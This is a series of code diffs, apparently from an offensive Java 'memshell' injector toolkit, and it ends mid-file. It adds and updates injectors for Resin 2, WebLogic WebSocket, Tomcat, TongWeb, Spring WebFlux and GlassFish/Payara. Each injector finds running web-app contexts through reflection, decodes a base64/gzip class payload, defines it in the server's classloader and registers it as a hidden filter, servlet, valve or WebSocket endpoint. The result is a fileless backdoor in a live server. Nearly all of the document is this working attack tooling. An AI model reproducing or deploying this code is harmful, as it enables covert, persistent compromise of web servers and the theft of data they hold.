msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
addContextFromClassLoader(contexts, Thread.currentThread().getContextClassLoader());
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
addContextFromClassLoader(contexts, thread.getContextClassLoader());
} catch (Throwable ignored) {
}
}
return contexts;
}
private void addContextFromClassLoader(Set<Object> contexts, ClassLoader classLoader) {
Object context = getApplicationFromClassLoader(classLoader);
if (context != null) {
contexts.add(context);
}
}
private Object getApplicationFromClassLoader(ClassLoader classLoader) {
while (classLoader != null) {
try {
Object context = invokeMethod(classLoader, "getAttribute", new Class[]{String.class}, new Object[]{"caucho.application"});
if (context != null && "com.caucho.server.http.Application".equals(context.getClass().getName())) {
return context;
}
} catch (Throwable ignored) {
}
classLoader = classLoader.getParent();
}
return null;
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "_classLoader"));
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
private void inject(Object context, Object filter) throws Exception {
Map<String, Object> filters = (Map) getFieldValue(context, "_filters");
for (String key : filters.keySet()) {
if (key.contains(getClassName())) {
return;
}
}
ClassLoader loader = context.getClass().getClassLoader();
Class<?> applicationClass = loader.loadClass("com.caucho.server.http.Application");
Class<?> qFilterConfigClass = loader.loadClass("com.caucho.server.http.QFilterConfig");
Class<?> registryNodeClass = loader.loadClass("com.caucho.util.RegistryNode");
Object filterConfig = newInstance(
qFilterConfigClass,
new Class[]{applicationClass, String.class, String.class, registryNodeClass},
new Object[]{context, getClassName(), getClassName(), null});
filters.put(getClassName(), filterConfig);
List filterList = (List) getFieldValue(context, "_filterList");
if (filterList != null && !filterList.contains(filterConfig)) {
filterList.add(filterConfig);
}
Class<?> filterMapClass = loader.loadClass("com.caucho.server.http.FilterMap");
Object filterMap = newInstance(filterMapClass, new Class[0], new Object[0]);
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class, String.class}, new Object[]{getUrlPattern(), ""});
invokeMethod(filterMap, "setData", new Class[]{Object.class}, new Object[]{filterConfig});
List filterMaps = (List) getFieldValue(context, "_filterMap");
synchronized (filterMaps) {
filterMaps.add(0, filterMap);
}
invokeMethod(context, "clearCache", null, null);
}
private static Object newInstance(Class<?> clazz, Class<?>[] paramClazz, Object[] param) throws Exception {
Constructor<?> constructor = clazz.getDeclaredConstructor(paramClazz);
constructor.setAccessible(true);
return constructor.newInstance(param);
}
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,248 @@
package com.reajason.javaweb.memshell.injector.resin2;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Resin2ServletInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public Resin2ServletInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
addContextFromClassLoader(contexts, Thread.currentThread().getContextClassLoader());
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
addContextFromClassLoader(contexts, thread.getContextClassLoader());
} catch (Throwable ignored) {
}
}
return contexts;
}
private void addContextFromClassLoader(Set<Object> contexts, ClassLoader classLoader) {
Object context = getApplicationFromClassLoader(classLoader);
if (context != null) {
contexts.add(context);
}
}
private Object getApplicationFromClassLoader(ClassLoader classLoader) {
while (classLoader != null) {
try {
Object context = invokeMethod(classLoader, "getAttribute", new Class[]{String.class}, new Object[]{"caucho.application"});
if (context != null && "com.caucho.server.http.Application".equals(context.getClass().getName())) {
return context;
}
} catch (Throwable ignored) {
}
classLoader = classLoader.getParent();
}
return null;
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "_classLoader"));
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
private void inject(Object context, Object servlet) throws Exception {
Map<String, Object> servlets = (Map) getFieldValue(context, "_servlets");
for (String key : servlets.keySet()) {
if (key.contains(getClassName())) {
return;
}
}
Object servletConfig = invokeMethod(
context,
"addServlet",
new Class[]{String.class, String.class},
new Object[]{getClassName(), getClassName()});
Class<?> servletConfigClass = context.getClass().getClassLoader().loadClass("com.caucho.server.http.QServletConfig");
invokeMethod(
context,
"addDispatchMap",
new Class[]{String.class, servletConfigClass},
new Object[]{getUrlPattern(), servletConfig});
invokeMethod(context, "clearCache", null, null);
}
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell.injector.springwebflux;
import org.springframework.util.Base64Utils;
import org.springframework.web.reactive.function.server.*;
import org.springframework.web.reactive.function.server.support.RouterFunctionMapping;
@@ -63,7 +62,7 @@ public class SpringWebFluxHandlerFunctionInjector {
try {
interceptor = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell.injector.springwebflux;
import org.springframework.util.Base64Utils;
import org.springframework.web.method.HandlerMethod;
import org.springframework.web.reactive.result.method.RequestMappingInfo;
import org.springframework.web.reactive.result.method.annotation.RequestMappingHandlerMapping;
@@ -63,7 +62,7 @@ public class SpringWebFluxHandlerMethodInjector {
try {
interceptor = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell.injector.springwebflux;
import org.springframework.util.Base64Utils;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.handler.DefaultWebFilterChain;
import org.springframework.web.server.handler.FilteringWebHandler;
@@ -58,7 +57,7 @@ public class SpringWebFluxWebFilterInjector {
try {
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
@@ -76,9 +76,13 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
// Tomcat uses void invoke; GlassFish/Payara uses int invoke (GlassFishValve)
if (TARGET_METHOD_NAME.equals(name)
&& (descriptor.endsWith(")V") || descriptor.endsWith(")I"))) {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new TomcatContextValveAgentInjector.AgentShellMethodVisitor(mv, argumentTypes, getClassName());
boolean returnsInt = descriptor.endsWith(")I");
return new TomcatContextValveAgentInjector.AgentShellMethodVisitor(
mv, argumentTypes, getClassName(), returnsInt);
}
return mv;
}
@@ -88,11 +92,13 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
private final boolean returnsInt;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className, boolean returnsInt) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
this.returnsInt = returnsInt;
}
@Override
@@ -117,7 +123,13 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
// GlassFishValve.END_PIPELINE == 2
if (returnsInt) {
mv.visitInsn(Opcodes.ICONST_2);
mv.visitInsn(Opcodes.IRETURN);
} else {
mv.visitInsn(Opcodes.RETURN);
}
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
@@ -199,17 +211,22 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
// Always define into the target class's loader. loadClass() may resolve the shell from the
// agent AppClassLoader, which OSGi bundle loaders cannot use for NEW/invoke.
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
java.lang.reflect.Method findLoadedClass = ClassLoader.class.getDeclaredMethod("findLoadedClass", String.class);
findLoadedClass.setAccessible(true);
if (findLoadedClass.invoke(loader, getClassName()) != null) {
return;
}
} catch (Throwable ignored) {
}
try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
} catch (Throwable ignored) {
}
}
}
@@ -199,17 +199,22 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
// Always define into the target class's loader. loadClass() may resolve the shell from the
// agent AppClassLoader, which OSGi bundle loaders cannot use for NEW/invoke.
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
java.lang.reflect.Method findLoadedClass = ClassLoader.class.getDeclaredMethod("findLoadedClass", String.class);
findLoadedClass.setAccessible(true);
if (findLoadedClass.invoke(loader, getClassName()) != null) {
return;
}
} catch (Throwable ignored) {
}
try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
} catch (Throwable ignored) {
}
}
}
@@ -59,14 +59,31 @@ public class TomcatListenerInjector {
for (Thread thread : threads) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Object target = getThreadTarget(thread);
if (target == null) {
continue;
}
Object container = getContainerFromProcessor(target);
if (container == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
if (childrenMap == null) {
continue;
}
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
if (children != null) {
contexts.addAll(children.values());
}
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object target = getThreadTarget(thread);
if (target == null) {
continue;
}
Object proto = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
@@ -90,6 +107,35 @@ public class TomcatListenerInjector {
return contexts;
}
private Object getThreadTarget(Thread thread) throws Exception {
Object target = getFieldValue(thread, "target");
if (target == null) {
// JDK 21+
Object holder = getFieldValue(thread, "holder");
if (holder != null) {
target = getFieldValue(holder, "task");
}
}
return target;
}
/**
* Older Catalina: ContainerBackgroundProcessor.this$0
* Payara 6.2024+/7 style: ContainerBackgroundProcessorAtomic.base (WeakReference)
*/
private Object getContainerFromProcessor(Object target) throws Exception {
Object container = getFieldValue(target, "this$0");
if (container != null) {
return container;
}
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
Object base = atomic != null ? getFieldValue(atomic, "base") : getFieldValue(target, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
@@ -17,7 +17,8 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer {
private static final String[] TARGET_CLASSES = new String[]{
"com/tongweb/web/thor/core/StandardContextValve",
"com/tongweb/catalina/core/StandardContextValve",
"com/tongweb/server/core/StandardContextValve"
"com/tongweb/server/core/StandardContextValve",
"com/tongweb/container/core/StandardContextValve"
};
private static final String TARGET_METHOD_NAME = "invoke";
@@ -17,7 +17,8 @@ public class TongWebFilterChainAgentInjector implements ClassFileTransformer {
private static final String[] TARGET_CLASSES = new String[]{
"com/tongweb/web/thor/core/ApplicationFilterChain",
"com/tongweb/catalina/core/ApplicationFilterChain",
"com/tongweb/server/core/ApplicationFilterChain"
"com/tongweb/server/core/ApplicationFilterChain",
"com/tongweb/container/core/ApplicationFilterChain"
};
private static final String TARGET_METHOD_NAME = "doFilter";
@@ -167,11 +167,19 @@ public class TongWebFilterInjector {
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap");
filterMap = filterMapClass.newInstance();
} catch (Exception e) {
// tongweb 8
constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
filterMap = filterMapClass.newInstance();
try {
// tongweb 8
constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
filterMap = filterMapClass.newInstance();
} catch (Exception e1) {
// tongweb embedded (spring boot)
constructor = contextClassLoader.loadClass("com.tongweb.container.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
filterMap = filterMapClass.newInstance();
}
}
}
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
@@ -141,8 +141,13 @@ public class TongWebValveInjector {
// tongweb6
valveClass = contextClassLoader.loadClass("com.tongweb.web.thor.Valve");
} catch (ClassNotFoundException e1) {
// tongweb8
valveClass = contextClassLoader.loadClass("com.tongweb.server.Valve");
try {
// tongweb8
valveClass = contextClassLoader.loadClass("com.tongweb.server.Valve");
} catch (ClassNotFoundException e2) {
// tongweb embedded (spring boot)
valveClass = contextClassLoader.loadClass("com.tongweb.container.Valve");
}
}
}
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
@@ -0,0 +1,307 @@
package com.reajason.javaweb.memshell.injector.weblogic;
import javax.management.MBeanServer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
*/
public class WebLogicWebSocketInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public WebLogicWebSocketInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
Object container = getServerContainer(context);
if (container == null) {
continue;
}
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, container, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/**
* weblogic.servlet.internal.WebAppServletContext
*/
@SuppressWarnings("unchecked")
public static Set<Object> getContext() throws Exception {
Set<Object> webappContexts = new HashSet<Object>();
MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
String key = entry.getKey();
if (key.contains("Type=WebAppComponentRuntime")) {
Object value = entry.getValue();
Object managedResource = getFieldValue(value, "managedResource");
if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
webappContexts.add(getFieldValue(managedResource, "context"));
}
}
}
try {
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
Object request = null;
try {
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
request = getFieldValue(connectionHandler, "request");
} catch (Exception x) {
// WebLogic 10.3.6
request = workEntry;
}
if (request != null) {
webappContexts.add(getFieldValue(request, "context"));
}
} catch (Throwable ignored) {
}
return webappContexts;
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "classLoader"));
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
@SuppressWarnings("all")
private Object getServerContainer(Object context) throws Exception {
// WebLogic's WebAppServletContext implements javax.servlet.ServletContext directly
Object container = invokeMethod(context, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
if (container == null) {
container = invokeMethod(context, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"});
}
return container;
}
@SuppressWarnings("all")
private void inject(Object context, Object container, Object obj) throws Exception {
ClassLoader contextClassLoader = context.getClass().getClassLoader();
Class<?> serverEndpointConfigClass;
Class<?> builderClass;
try {
serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
} catch (ClassNotFoundException e) {
serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig");
builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder");
}
// Use the standard static factory method Tyrus (WebLogic) only exposes create(), not a (Class,String) constructor
Object builder = invokeMethod(builderClass, "create", new Class[]{Class.class, String.class}, new Object[]{obj.getClass(), getUrlPattern()});
Object endpointConfig = invokeMethod(builder, "build", null, null);
// JSR-356 addEndpoint() throws IllegalStateException once the app is active; Tyrus's own
// register() bypasses this post-deployment lock and works on a live WebLogic server.
invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
try {
invokeMethod(container, "register", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
} catch (Exception e) {
invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
}
try {
prioritizeWebSocketFilter(context);
} catch (Exception ignored) {
// Newer WebLogic versions may use different filter internals and already order Tyrus first.
}
}
/**
* WebLogic 12 and 14 append Tyrus's filter after application filters. If one of those filters
* does not support async processing, Tyrus cannot call startAsync() during the WebSocket
* handshake. Move only the WebSocket mapping ahead of normal application mappings so the
* upgrade is handled before a non-async filter can disable async support for the request.
*/
@SuppressWarnings("all")
private void prioritizeWebSocketFilter(Object context) throws Exception {
Object filterManager = invokeMethod(context, "getFilterManager", null, null);
Object value = getFieldValue(filterManager, "filterPatternList");
if (!(value instanceof List)) {
return;
}
List filterMappings = (List) value;
synchronized (filterMappings) {
for (int i = 0; i < filterMappings.size(); i++) {
Object filterMapping = filterMappings.get(i);
Object filterName = getFieldValue(filterMapping, "filterName");
if ("WebSocket filter".equals(filterName)) {
if (i > 0) {
filterMappings.remove(i);
filterMappings.add(0, filterMapping);
}
return;
}
}
}
}
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
